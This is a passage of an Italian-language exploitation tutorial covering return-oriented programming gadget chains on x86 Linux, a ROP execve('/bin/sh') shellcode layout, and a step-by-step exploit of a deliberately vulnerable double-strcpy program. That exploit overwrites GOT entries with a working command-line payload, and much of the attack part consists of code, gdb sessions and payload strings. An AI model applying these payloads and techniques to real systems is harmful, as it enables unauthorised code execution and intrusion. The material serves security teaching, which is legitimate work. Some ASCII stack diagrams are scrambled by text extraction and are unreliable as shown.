Il seguente è l'algoritmo Galileo: Algorithm GALILEO: create a node, root, representing the ret instruction; place root in the trie; for pos from 1 to textseg_len do: if the byte at pos is c3, i.e., a ret instruction, then: call BuildFrom(pos,root); Procedure BuildFrom: for step from 1 to max_insn_len do: if bytes [(pos - step)...(pos - 1)] decode as a valid instruction insn then: ensure insn is in the trie as a child of parent_insn; if insn isn't boring then: call BuilfFrom(pos - step, insn). Nello pseudo-codice può destare titubanze la definizione "boring". La definizione è valida nei seguenti casi: - Occorrenza dell'istruzione leave seguita da una ret - Occorrenza di una istruzione pop %ebp e immediatamente seguita da un istruzione ret - Occorrenza di una istruzione di ritorno oppure di un salto incondizionato L'ultimo di questi tre criteri elimina il flusso di istruzioni a cui è affidato il controllo trasferendolo altrove prima che l'istruzione ret venga chiamata, rendendola percìò inutile per i nostri scopi. La sequenza "leave; ret" non va bene dato che l'istruzione leave esegue cio che può essere fatto dalle istruzioni "mov %ebp, %esp; pop %ebp". Ovvero ripristina lo stack alla situazione della chiamata a funzione precedente. Quindi elimina la serie di istruzioni che sarebbero più utili a noi. Non verranno utilizzate le sequenze di codice per le quali sono valide una o più di queste condizioni. L'algoritmo effettua il parsing dell'header delle libc per determinare quale porzione di libc è mappata assieme all'eseguibile nel segmento eseguibile. Per far questo è possibiler utilizzare delle librerie. Per il parsing dell'elf header, è possibile utilizzare le librerie GNU libelf, per codificare le istruzioni x86, è possibile utilizzare libdisasm, con alcune modifiche. Ora cercheremo di stendere una via di mezzo tra un catalogo e un tutorial che mostri le azioni che dobbiamo fare usando le sequenze che si trovano nelle libc. I gadgets sono le nostre unità di organizzazione intermedie, questi gadgets specificano certi valori che devono essere piazzati sullo stack, questi determinano l'uso di una o più sequenze di istruzioni della libc. I gadgets specificano precise operazioni come caricamento, un xor, o un salto. Return-oriented programming consiste nel mettere (posizionare) i gadget (gli indirizzi di questi) assieme in modo da ottenere le operazioni volute. La differenza sostanziale è che nello stack non viene iniettato codice, ma solo gli indirizzi di questi gadget localizzati in .text delle libc. L'esecuzione di ogni gadget avviene sempre nel medesimo modo, il processore esegue l'istruzione ret con il registro ESP che punta alla WORD contenente l'indirizzo del prossimo gadget, (Ricorda che quando le funzioni ritornano ESP punta all'indirizzo di ritorno, "ret" lo carica in EIP) Gli schemi che seguono rappresentano lo stack, ogni casella rappresenta un WORD, gli indirizzi più grandi sono posti in cima. Alcune delle WORD contengono indirizzi a sequenze di istruzioni, altri contengono dei puntatori ad altre word. Ad esempio vediamo come caricare il valore 0xdeadbeef in un registro. In questo caso l'indirizzo di ritorno viene sovrascritto con l'indirizzo del gadget "pop %edx; ret". Il registro ESP viene incrementato già dalla ret "legale" del programma, di conseguenza quando la sequenza viene eseguita ESP punta esattamente al valore 0xdeadbeef. "pop %edx", capite quindi, che sistema questo valore nel registro EDX. La ret serve per passare al gadget successivo, dato che Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 84 di 193
System exploitation using buffer overflow
l'istruzione di pop ha incrementato a sua volta ESP, che punta all'indirizzo del prossimo gadget che ret caricherà in EIP. Questo è il meccanismo chiave del return-oriented programming. Deve essere chiaro.
ESP
higher addresses |________________________| | | | 0xdeadbeef | |________________________| | | | --------------------> <--|________________________| | |
pop %edx ret
>> previous saved return address <<
lower addresses Un esempio di caricamento dalla memoria, noi possiamo caricare dalla memoria nel registro %eax, usando la sequenza "movl 0x40(%eax), %eax; ret", dobbiamo solo assicurarci che al momento dell'esecuzione dell'istruzione movl 64(%eax), il registro punti alla locazione di memoria dalla quale il nostro elemento dista 64 byte. Lo schema: |________________________| | | | ---------------------> |________________________| | | /--------------| | |________________________| | | | | | --------------------> |ESP|________________________| | | | | | |________________________| | | | | | 0xdeadbeef | +64 \-->|________________________| | | Il gadget affrontato prima costituito Questo, come abbiamo detto punterà ad al valore da caricare. A questo punto quale EAX conterrà il contenuto della
movl 64(%eax), %eax ret
pop %eax ret
da "pop 'registro'; ret" caricherà in EAX l'indirizzo. una posizione che si trova 64 byte più in basso rispetto eseguiamo la sequenza di "movl 64(%eax), %eax", dopo la locazione di memoria indicata.
In modo similare possiamo effettuare una operazione di caricamento dal registro alla memoria. La sequenza "movl %eax, 24(%edx); ret" inserisce il contenuto di EAX nella memoria. Anche in questo caso l'istruzione ret fa saltare l'esecuzione eseguendo il gadget "pop %edx; ret". ESP punta alla WORD più alta, l'istruzione pop copia questo valore in EDX incrementando il valore di ESP che punta al gadget più alto. La ret fa eseguire l'istruzione movl.
|________________________| | | Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 85 di 193
System exploitation using buffer overflow
| ---------------------> |________________________| | | /--------------| | |________________________| | | | | | --------------------> |ESP|________________________| | | | | | |________________________| | | | | | | +24 \-->|________________________| | |
movl 24(%eax), %eax ret
pop %edx ret
Prima di prosequire parlando delle operazioni logiche e aritmetiche che si possono effettuare, preferisco fare un ripasso su come lavora l'istruzione x86: "ret". E' molto importante capire come funziona ret nel dettaglio, sia per capire i due esempi appena affrontati, sia per non avere difficoltà nei successivi, che sono più complicati. "L'istruzione RET organizza il ritorno al programma chiamante al termine di una procedura, cioè un sottoprogramma chiamato con CALL." "La procedura da cui si torna può essere di tipo NEAR, cioè posta dentro il segmento di codice in cui è chiamata, o FAR, in caso contrario; questa caratteristica impone all'istruzione un diverso modo di gestire le operazioni." "Se la procedura da cui si torna è NEAR l'istruzione RET (o specificatamente RETN) provvede ai seguenti compiti: - preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella parte bassa di IP. - incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da utilizzare come parte alta di IP. - incrementa ancora SP. - salta alla locazione di programma indicata dal nuovo valore di IP, praticamente l'indirizzo di offset della locazione del programma principale successiva a quella con la CALL che l'aveva costretto ad uscirne. Se la procedura da cui si torna è FAR l'istruzione RET (o specificatamente RETF) provvede ai seguenti compiti: - preleva il byte contenuto nella locazione attualmente puntata da SP, lo trasferisce nella parte bassa di IP. - incrementa il valore di SP e lo utilizza per puntare la locazione da cui prelevare il byte da utilizzare come parte alta di IP. - incrementa ancora SP e lo utilizza per puntate la locazione da cui prelevare la parte bassa di CS. - incrementa ancora SP e lo utilizza per puntare la locazione da cui prelevare la parte alta di CS. - incrementa ancora il valore di SP. - salta alla locazione di programma indicata dal nuovo valore di CS:IP, praticamente l'indirizzo logico completo della locazione del programma principale successiva a quella con la CALL che l'aveva costretto ad uscirne." Questa definizione ci ricorda come funziona ret. L'istruzione ret, sistema il contenuto dello stack pointer (ESP) in EIP, al momento del ritorno da una funzione. Su questo meccanismo si basano gli attacchi ret-to-libc. Questo funziona perchè al momento della chiamata a ret esp punterà all'indirizzo di ritorno che era stato salvato nello stack. Il seguente codice mostra come utilizzare ret: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 86 di 193
System exploitation using buffer overflow
--------- test0E.c ----------------------#include <stdio.h> #include <stdlib.h> #include <string.h> char string[]="/bin/sh"; char end[]="echo END"; void func(void); int main(int argc,char**argv) { func(); // Will never call: system(end); } void func(void) { int dummy; // Return address of our shell int system = 134513420; // Decimal code of 0x804830c (<system@plt>) printf("\nCall a shell via .plt:\n"); asm( "push %1;" "push %2;" "push %0;" "ret;" : :"r"(system), "r"(string), "r"(dummy)); } --------- test0E.c END -------------------L'indirizzo della system può cambiare a seconda dell'ambiente naturalmente, è sufficiente ricalcolarlo con gdb come già sapete fare: root@HackLab:~/RetOriented# gdb a.out -q (gdb) disass main Dump of assembler code for function main: 0x080483f4 <main+0>: lea 0x4(%esp),%ecx .... 0x08048402 <main+14>: sub $0x14,%esp 0x08048405 <main+17>: call 0x804841f <func> 0x0804840a <main+22>: movl $0x804a020,(%esp) 0x08048411 <main+29>: call 0x804830c <system@plt> .... End of assembler dump. (gdb) x/8i 0x804830c 0x804830c <system@plt>: jmp *0x804a004 0x8048312 <system@plt+6>: push $0x8 .... L'indirizzo che ci serve è 0x084830c Lavorando sul valore di dummy è possibile far eseguire una ulteriore funzione dopo essere Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 87 di 193
System exploitation using buffer overflow
ritornati da system(). Compiliamo ed eseguiamo: root@HackLab:~/RetOriented# gcc test0E.c -g root@HackLab:~/RetOriented# ./a.out Call a shell via .plt: sh-3.2# Ora vediamo alcuni metodi per eseguire delle somme. La sequenza di istruzione più conveniente per eseguire una somma è la seguente: addl (%edx), %eax push %edi ret La prima istruzione aggiunge a EAX la WORD puntata da EDX, che è esattamente ciò che vogliamo fare. L'istruzione seguente crea qualche problema. Mentre la sequenza "pop-ret" risulta conveniente per implementare un caricamento di una costante, essa è scomoda per altre due situazioni. Prima di tutto, il valore pushato nello stack è quello usato subito da ret per saltare alla prossima sequenza, quindi questo deve essere pre-determinato. Inoltre l'operazione di push va a sovrascrivere una WORD nello stack, WORD che potrebbe essere parte di un gadget successivo. Questo verrebbe modificato. Diciamo che nel ret-oriented programming l'istruzione ret può essere usata per la stessa funzione di una nop. Nello schema che segue vediamo che l'istruzione "push %edi" causa la sovrascrittura della word sopra le vetta dello stack con il contenuto di EDI. Contenuto puntato poi da ret. In questo modo abbiamo che questa sequenza va bene solo nel caso in cui l'operazione add deve essere eseguita una volta. Non va bene se abbiamo bisogno di un ciclo. |________________________| | | | --------------------------> addl(%edx), %eax |________________________| push %edi | | ret | --------------------\ |________________________| | | | | | --------------------------> pop %edx |________________________| | ret | | | | -----------------------------------> ret |________________________| | | | | | --------------------------> pop %edi >start< ESP |________________________| | ret | | | | |________________________| | | | | | 0xdeadbeef | | |________________________|<-/ | | La soluzione in questo caso è settare l'ultima WORD nel gadget con l'indirizzo della sequenza "addl (%edx),%eax; push %edi; ret", come parte del codice. Non possiamo utilizzare la sequenza Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 88 di 193
System exploitation using buffer overflow
per immagazzinare nella memoria un valore dato che %eax è occupato dall'operazione add. Invece, usiamo un'altra sequenza disponibile: "movl %ecx, (%edx); ret". |________________________| | | | | />|________________________| | | | /---------------| | | |________________________| | | | | | | | --------------------> pop %edx | | |________________________| ret | | | | | | | --------------------> ret | | |________________________| | | | | | | | ---------------------> pop %edi | | |________________________| ret | | | | | | | ---------------------> movl %ecx, (%edx) | | |________________________| ret | | | | | \------------| | |________________________| | | | | | ---------------------> addl (%edx), %eax | |________________________| push %edi | | | ret | | -----------------------------------> pop %ecx | ESP |________________________| pop %edx | | | ret | | |________________________| | | | | | 0xdeadbeef | \---->|________________________| Riassumendo, l'indirizzo di ritorno è sovrascritto dall'indirizzo del gadget "pop %ecx; pop %edx; ret". Questo gadget incrementa ESP di due, ESP punterà alla sequenza "movl %ecx, (%edx); ret", fate attenzione , le due pop precedenti inseriscono nei registri ECX ed EDX l'indirizzo del gadget di addizione e un'altro valore che andremo a utilizzare dopo, ret causa un salto alla sequenza successiva, essa muove ECX all'indirizzo puntato da EDX, di seguito viene eseguita la sequenza ancora sopra, questa sistema il valore attuale di ESP in EDI, ESP viene incrementato e punta ora "pop %edx; ret", la pop sistema quindi l'indirizzo del gadget "addl (%edx), %eax; push %edi; ret" in EDX. Questo viene quindi eseguito. Dopo questi passaggi il ciclo viene ripetuto. Grazie alla combinazione di più gadget è possibile fare quasi ogni sorta di operazione. Le moltiplicazioni possono essere eseguite combinando più addizzioni, And, or, not sono alcune delle operazioni più implementate, molte volte per arrivare ad eseguire queste operazioni sono necessari molti gadget. Ad esempio se non abbiamo a disposizione sequenza come "xorl (%edx), %eax", ma invece abbiamo delle sequenze come "xorb %al, (%ebx)", possiamo comunque effettuare una operazione xor completa sul registro, potendo muovere ogni byte di EAX in AL uno alla volta e ripetendo poi il tutto per quattro volte. Vediamo come effettuare dei salti incondizionati. Abbiamo detto che nel return-oriented programming il registro ESP punta all'istruzione seguente, Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 89 di 193
System exploitation using buffer overflow
di conseguenza un salto non condizionato consiste semplicemente nell'incrementare il valore di questo registro. un modo per farlo è ad esempio attraverso l'istruzione "pop %esp". Il gadget seguente crea un loop infinito. |________________________| | | | ----------------------------\ |________________________| | | | | | ----------------------------------> pop %esp ESP |________________________|<---------/ ret | | "pop %esp" sposta l'indirizzo del gadget nella locazione posiozionata più in alto nello stack, "ret" esegue nuovamente. I salti condizionati sono più complessi da realizzare. Per sviluppare una sequenza di gadgets che effettui un salto in modo dipendente dal valore di un dato flag divideremo il lavoro in tre parti principali. 1 Occorre prima eseguire una serie di operazioni che cambiano il valore del flag di stato secondo le nostre esigenze. 2 Copiare il valore del registro flag della CPU ad un registro comune. interessato.
Isolare il flag
3 Usare il flag a cui si è interessati per influenzare ESP condizionando l'ammontare (l'offset) del salto da effettuare. Scegliamo di utilizzare il flag di carry. Molto agilmente possiamo verificarne un valore attraverso l'istruzione "neg". Se il valore è zero neg pulisce il flag CF, in caso contrario lo setta ad 1. Il seguente schema mostra il caso più semplice. |________________________| | | | -----------------------------> neg %eax |________________________| ret | | Se volessimo verificare l'uguaglianza di due valori, possiamo sottrarre l'uno all'altro e verificare se il risultato della "sub" è zero con "neg". La seconda parte può essere effettuata attraverso le istruzioni "lahf", oppure "pushf" del regostro eflags. Sfortunatamente queste istruzioni non sono quasi mai presenti, provate a cercarle nella libc, non ci sono. Quindi a meno che siamo fortunati, ricorreremo ad un'altro metodo. Ovvero utilizzando l'istruzione adc, abbastanza presente. Questa istruzione somma due valori più il bit del flag di carry se presente, il risultato è posto nel registro di destinazione. |________________________| | | | --------------------------> |________________________| | | | --------------------------> |________________________| Copyright © Matteo Tosato 2010-2011
movl %ecx, (%edx) ret adc %cl, %cl ret
tosatz@tiscali.it rev.2.2
Pag. 90 di 193
System exploitation using buffer overflow
| | | --------------------\ |________________________| | | | | | 0x00000000 | | |________________________| | | | | | --------------------------> pop %ecx ESP |________________________| | pop %edx | | | ret | |________________________| | | | | | (CF goes here) | | |________________________|<-/ | | La prima sequenza ad essere eseguita è "pop %ecx; pop %edx; ret" quindi in ECX 0, in EDX mettiamo il valore della WORD alla quale punta ESP in quel dato momento, non è importante il valore effettivo della WORD. Infatti ret farà si che la prossima sequenza ad essere eseguita è "adc %cl, %cl; ret". Nel nostro caso %cl diverrà risultato della somma di 0 + 0 + CF, di conseguenza il valore risultante è il flag di carry. Il terzo passo chiarisce il perchè abbiamo spostato il valore del flag di carry in una data posizione puntata dal registro EDX. In questa posizione abbiamo o il valore 1 o 0. Quello che dobbiamo fare è portare questo valore o "all'offset" utile allo spostamento di ESP oppure 0, ovvero il salto non avviene. In questo caso lo schema è meglio che fare una lunga e confusa spiegazione, |________________________| | | | ---------------------------> |________________________| | | | ---------------------\ |________________________| | | | | | ---------------------------> |________________________| | | | | | esp_delta | | |________________________| | | | | | ---------------------------> |________________________| | | | | | 0xdecafbad | | |________________________| | | | | | 0xdecafbad | | |________________________| | | | | | ---------------------------> |________________________| | | | | /---------------| | Copyright © Matteo Tosato 2010-2011
andl %esi, (%ecx) rolb $0x5d, 0x5e5b6cc(%ebx) ret
pop %ecx pop %ebx ret
pop %esi ret
negl 94(%ebx) pop %edi pop %ebp mov %esi, %esi
tosatz@tiscali.it rev.2.2
Pag. 91 di 193
System exploitation using buffer overflow
| |________________________| | ret | | | | | ---------------------------> pop %ebx | |________________________| | ret | | | | +94| | (CF here) | | \-->|________________________|<--/ | | | 0xbadc0ded | |________________________| | | L'ultima fase, |________________________| | | | ----------------------------> |________________________| | | /--------------| | |________________________| | | | | | ------------------------> |ESP|________________________| | | | | | |________________________| | | | | | (perturbation here) | \-->|________________________| | |
addl addb addb addb ret
(%eax), %esp %al, (%eax) %cl, 0(%eax) %al, (%eax)
pop %eax ret
Quello che ci manca è vedere come è possibile eseguire chiamate di sistema. Facciamo un esempio di procedura per la chiamata ad una syscall senza argomenti. mov %ebx, %edx movl 4(%esp), %ebx mov $0x0000003c, %eax lcall %gs:0x10(,0) mov %edx, %ebx ret Questa procedura è comune negli ambienti windows, su linux invece noi possiamo inserire anche direttamente l'indirizzo prendendolo dalla sezione .plt, come facciamo di solito. 0x12] (Arch: LINUX) - Return-oriented shellcode Up Il capitolo precedente è sicuramente stato traumatico, riuscire a tenere traccia del flusso del programma scritto in quel modo si allontana totalmente dal normale tipo di sviluppo. Non è più sufficiente conoscere l'assembly, occorre avere la capacità di tenere ben ordinate le azioni da compiere nella propria mente. Ora vediamo di scrivere una semplice shellcode per linux attraverso questa tecnica. La nostra shellcode invocherà la syscall "execve()". Per far questo abbiamo bisogno di tre azioni: Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 92 di 193
System exploitation using buffer overflow
1 Settare l'indice della call in questione (che è 11) in EAX. 2 Settare il percorso del programma da avviare che è "/bin/sh" in EBX. 3 Settare il vettore di argomenti argv per la shell in ECX. Come solito, questo conterrà la stringa "/bin/sh", cioè il suo indirizzo e un valore NULL. 4 Settare anche il vettore envp delle variabili d'ambiente al valore NULL, e inserirlo in EDX. Sistemiamo la stringa in cima allo stack. Partendo da ESP iniziale avremo: WORD 1: setto EAX a 0 WORD 2-4: carico l'indirizzo della seconda WORD di argv in EDX e, in preparazione alla chiamata ad execve inserisco in ECX i valori 0x0b. Lo spostamento della WORD nulla in argv avviene con il metodo visto in precedenza, ovvero prima carico il valore nel registro poi (prossimo gadget) uso un'offset per caricare 0 in questo. WORD 5: setto la seconda WORD suddetta a zero. WORD 6: setto EAX con 0x0b WORD 7 e 8: punto EBX alla stringa "/bin/sh" WORD 9-11: setto ECX all'indirizzo dell'array argv e EDX all'indirizzo dell'array envp WORD 12: chamata alla syscall execve() Tutte le word non dovranno contenere byte nulli, così come in tutta la shellcode, in caso contrario occorre cercare altri gadget posizionati ad indirizzi senza da byte nulli. |________________________| | | | /sh\0 | |________________________| | | | /bin | /->|________________________| | | | | | (word to zero) | +24/-|->|________________________|<--\ | | | | | | |\------------| | | | |________________________|<--|--\ | | | | | | | | | ------------------------> | | |________________________| | | | | | | | | | | | ---------------------/ | | | |________________________| | | | | | | | | | ------------------------/ | | |________________________| | | | | | | | ------------------------> | | |________________________| | | | | | \--------------| | |________________________| | | | | | ------------------------> | |________________________| | | | | | ------------------------> Copyright © Matteo Tosato 2010-2011
lcall %gs:0x10(,0)12) execve() può essere eseguita
pop %ecx 9) in ECX viene posizionato un puntatore pop %edx alla stringa /bin/sh, in EDX NULL ret
pop %ebx 7-8) "/bin/sh" in EBX ret add %ch, %al 6) in EAX viene posizionato '11',
tosatz@tiscali.it rev.2.2
Pag. 93 di 193
System exploitation using buffer overflow
| | | |
|________________________| | | | ------------------------> |________________________| | | | \----------------| |________________________| | | | 0x0b0b0b0b | |________________________| | | | ------------------------> |________________________| | | | ------------------------> ESP--->|________________________| | |
ret
l'indice di execve.
movl %eax, 24(%edx) ret 5) EAX (ovvero il valore 0)viene spostato all'indirizzo dove punta EDX + 24 byte.
pop %ecx 2-4) in ECX viene inserito 0x0b0b0b0b, pop %edx in EDX il valore al momento presente ret nella WORD ancora sopra. xor %eax, %eax 1) il registro EAX viene azzerato. ret
0x13] (Arch: LINUX) - Exploit dei sistemi protetti Up Ora che abbiamo visto un buon numero di cose, vediamo un esempio. Questa volta però partiremo direttamente dal programma vulnerabile. Ci troviamo nelle peggiori condizioni, ovvero lo stack non è eseguibile, ASLR abilitato e la vulnerabilità si trova in una funzione che termina con una exit(), quindi nessun indirizzo di ritorno corruttibile, l'unica cosa non presente è il meccanismo di propolice che riordina gli elementi nello stack. Nonostante questo effettueremo l'exploit del bug. Il programma: --------- vuln.c ----------------------#include <string.h> #include <stdlib.h> #include <stdio.h> int func(char *msg) { char buf[80]; strcpy(buf,msg); buf[0] = toupper(buf[0]); strcpy(msg,buf); printf("Caps: %s\n",msg); exit(1);
// Bug
} int main(int argc, char**argv) { func(argv[1]); } --------- vuln.c END ------------------Quindi: root@Saturn:~/RetOriented# gcc -g vuln.c -fno-stack-protector Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 94 di 193
System exploitation using buffer overflow
Abbiamo il nostro programma vulnerabile "a.out". Sfruttando la doppia strcpy() possiamo scrivere un indirizzo arbitrario in una posizione arbitraria. Questo perchè possiamo sovrascrivere "char* msg". La situazione: _________________________________________... | | | | | puntatore | | buffer | |___________|__|________________________|__... 4 byte ? 88 bytes Dobbiamo sempre verificare la reale dimensione di memoria allocata per il buffer, non è detto sia esattamente 80 bytes: (gdb) disass func Dump of assembler code for 0x08048484 <+0>: push 0x08048485 <+1>: mov 0x08048487 <+3>: sub 0x0804848a <+6>: mov 0x0804848d <+9>: mov 0x08048491 <+13>:lea infatti: "lea
function func: %ebp %esp,%ebp $0x68,%esp 0x8(%ebp),%eax %eax,0x4(%esp) -0x58(%ebp),%eax
-0x58(%ebp),%eax" riserva ben 88 bytes, 8 in più.
Poi, quanto dista il buffer dal puntatore passato a func? Questa è una informazione molto importante, dato che nel codice di attacco dovremo prevedere proprio un "padding" per poter arrivare al puntatore. Troviamola: (gdb) break 7 Breakpoint 1 at 0x804848a: file vuln.c, line 7. (gdb) run Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out Breakpoint 1, func (msg=0x0) at vuln.c:8 8 strcpy(buf,msg); (gdb) print &msg $1 = (char **) 0xbffff3a0 (gdb) print &buf $2 = (char (*)[80]) 0xbffff340 0xbffff3a0 - 0xbffff340 = 96 bytes dovrebbe essere 96 bytes. Verifichiamo: (gdb) run $(python -c "print 'A'*96") Breakpoint 1, func (msg=0xbffff5af 'A' <repeats 96 times>) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); Indaghiamo: (gdb) print &msg $2 = (char **) 0xbffff340 (gdb) x/100x $esp ... Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 95 di 193
System exploitation using buffer overflow
0xbffff310: 0xbffff320: 0xbffff330: 0xbffff340: 0xbffff350: 0xbffff360: ...
0x41414141 0x41414141 0x41414141 0xbffff500 0x08048510 0x00000002
0x41414141 0x41414141 0x41414141 0x0011e0c0 0x00000000 0xbffff404
0x41414141 0x41414141 0x41414141 0x0804851b 0xbffff3d8 0xbffff410
0x41414141 0x41414141 0x41414141 0x00283ff4 0x00144bd6 0xb7fff858
direi che è corretto, 96 bytes. Sovrascriviamo il byte più a destra, questo non dovrebbe far crashare il programma dato che il puntatore rimane relativo ad una zona vicina: (gdb) run $(python -c "print 'A'*97") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'A'*97") Breakpoint 1, func (msg=0xbffff5ae 'A' <repeats 97 times>) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); (gdb) x/100x $esp ... 0xbffff320: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff330: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff340: 0xbfff0041 0x0011e0c0 0x0804851b 0x00283ff4 0xbffff350: 0x08048510 0x00000000 0xbffff3d8 0x00144bd6 ... (gdb) continue Continuing. Caps: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A Tutto ok. Invece, proviamo a sovrascrivere un byte in più: (gdb) run $(python -c "print 'a'*98") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'a'*98") Breakpoint 1, func (msg=0xbffff5ad 'a' <repeats 98 times>) at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); (gdb) n 10 strcpy(msg,buf); (gdb) n Program received signal SIGSEGV, Segmentation fault. 0x001a1214 in strcpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) inf reg eax 0xbf006161 -1090494111 ecx 0x41 65 edx 0x0 0 ebx 0x283ff4 2637812 esp 0xbffff2c0 0xbffff2c0 ebp 0xbffff2c8 0xbffff2c8 esi 0xbf006160 -1090494112 edi 0xbffff2e0 -1073745184 Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 96 di 193
System exploitation using buffer overflow
eip eflags ...
0x1a1214 0x1a1214 <strcpy+20> 0x210246 [ PF ZF IF RF ID ]
Come vedete EAX contiene un indirizzo non accessibile per il nostro programma. quindi la strcpy(), tentando di scriverci, riceve dal kernel un errore SIGSEGV. Inserendo 96 bytes più 4 byte, questi ultimi 4 potrebbero divenire quelli che vanno a modificare il valore del puntatore. In questo modo la copia seguente andrebbe a modificare i byte che si trovano proprio a quell'indirizzo. Ci resta solo da decidere che cosa sovrascrivere. Data la semplicità del programma l'unica cosa che mi pare ovvia da fare, è sovrascrivere la entry nella sezione GOT relativa alla funzione printf(). Abbiamo già trattato la funzione della sezione GOT in un capitolo precedente. Questa contiene una serie di indirizzi associati a funzioni della libc. Al posto di printf() eseguiremo qualcosa d'altro. Per riuscire a sovrascrivere La sezione GOT è scrivibile. dobbiamo adattare la stringa essa deve essere posizionato
la entry è necessario fare ancora qualche ragionamento. Siccome la vulnerabilità in questione riguarda una doppia strcpy() per essere "multiuso" diciamo. Infatti nell'estremità più bassa di l'indirizzo della GOT. Ricaviamolo,
root@Saturn:~/Documenti/RetOriented-Exploit$ objdump -R a.out a.out:
file format elf32-i386
DYNAMIC RELOCATION RECORDS OFFSET TYPE 08049ff0 R_386_GLOB_DAT 0804a000 R_386_JUMP_SLOT 0804a004 R_386_JUMP_SLOT 0804a008 R_386_JUMP_SLOT 0804a00c R_386_JUMP_SLOT 0804a010 R_386_JUMP_SLOT 0804a014 R_386_JUMP_SLOT
VALUE __gmon_start__ __gmon_start__ toupper __libc_start_main strcpy printf exit
0x0804a010 deve essere posizionato dopo il padding in fondo al buffer in modo da sovrascire il puntatore. Mentre in testa al buffer viene posizionato il codice da copiare, dato che la seconda strcpy() comincerà la copia della testa del buffer. Qui noi posizioneremo una serie di indirizzi in stile ret-to-libc. Prima di decidere cosa copiare facciamo un primo esperimento, 'AAAA' inceve che un indirizzo valido: root@Saturn:~/Documenti/RetOriented-Exploit$ gdb a.out -q Reading symbols from /home/matteo/Documenti/RetOriented-Exploit/a.out...done. (gdb) break main (gdb) run $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(python -c "print 'AAAA'")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Breakpoint 1, main (argv=2, argc=0xbffff404) at vuln.c:16 16 func(argc[1]); (gdb) s func (msg=0xbffff5ab "AAAA", 'p' <repeats 92 times>, "\020\240\004\b") at vuln.c:8 8 strcpy(buf,msg); (gdb) n 9 buf[0] = toupper(buf[0]); Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 97 di 193
System exploitation using buffer overflow
(gdb) print msg $27 = 0x804a010 "\256\203\004\b\276\203\004\b" (gdb) n 10 strcpy(msg,buf); (gdb) n 11 printf("Caps: %s\n",msg); (gdb) x/25i msg 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>: inc 0x804a011 <_GLOBAL_OFFSET_TABLE_+29>: inc ... (gdb) n
%ecx %ecx
Program received signal SIGSEGV, Segmentation fault. 0x080483a8 in printf@plt () La mia indagine credo sia chiara, abbiamo sovrascritto la entry nella GOT con 0x41414141 che, ovviamente, ha fatto crashare il programma. Ma abbiamo capito meglio la situazione. Se noi al posto di AAAA reinseriamo la GOT entry di printf, tutto dovrebbe filare liscio. Ricaviamo la entry corretta: (gdb) x/1x 0x804a010 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>:
0x080483ae
(gdb) run $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08")$(python -c "print 'p'*92")$(printf "\x10\xa0\x04\x08") Caps: 0Q Program received signal SIGSEGV, Segmentation fault. 0x080483b8 in exit@plt () Ha crashato comunque me questo perchè la sringa non potevamo passarla con un terminatore '\0', quindi la copia ha proseguito rovinando anche la entry got della exit. (Difatti è la exit() che fallisce) Bene allora correggiamo il tutto sovrascrivendo anche la entry della exit: (gdb) x/2x 0x804a010 0x804a010 <_GLOBAL_OFFSET_TABLE_+28>:
0x080483ae
0x080483be
(gdb) run $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08") Starting program: /home/matteo/Documenti/RetOriented-Exploit/a.out $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08") Caps: 0Q Program exited with code 01. Funziona. Come se niente fosse. Questa tecnica ci può tornare utile perchè potremmo pensare di modificare il comportamento del programma senza farlo crashare dopo l'esecuzione del nostro codice. $(printf "\xae\x83\x04\x08\xbe\x83\x04\x08")$(python -c "print 'p'*88")$(printf "\x10\xa0\x04\x08") | | | | | | | addr printf addr exit padding addr got printf Copyright © Matteo Tosato 2010-2011
tosatz@tiscali.it rev.2.2
Pag. 98 di 193
System exploitation using buffer overflow
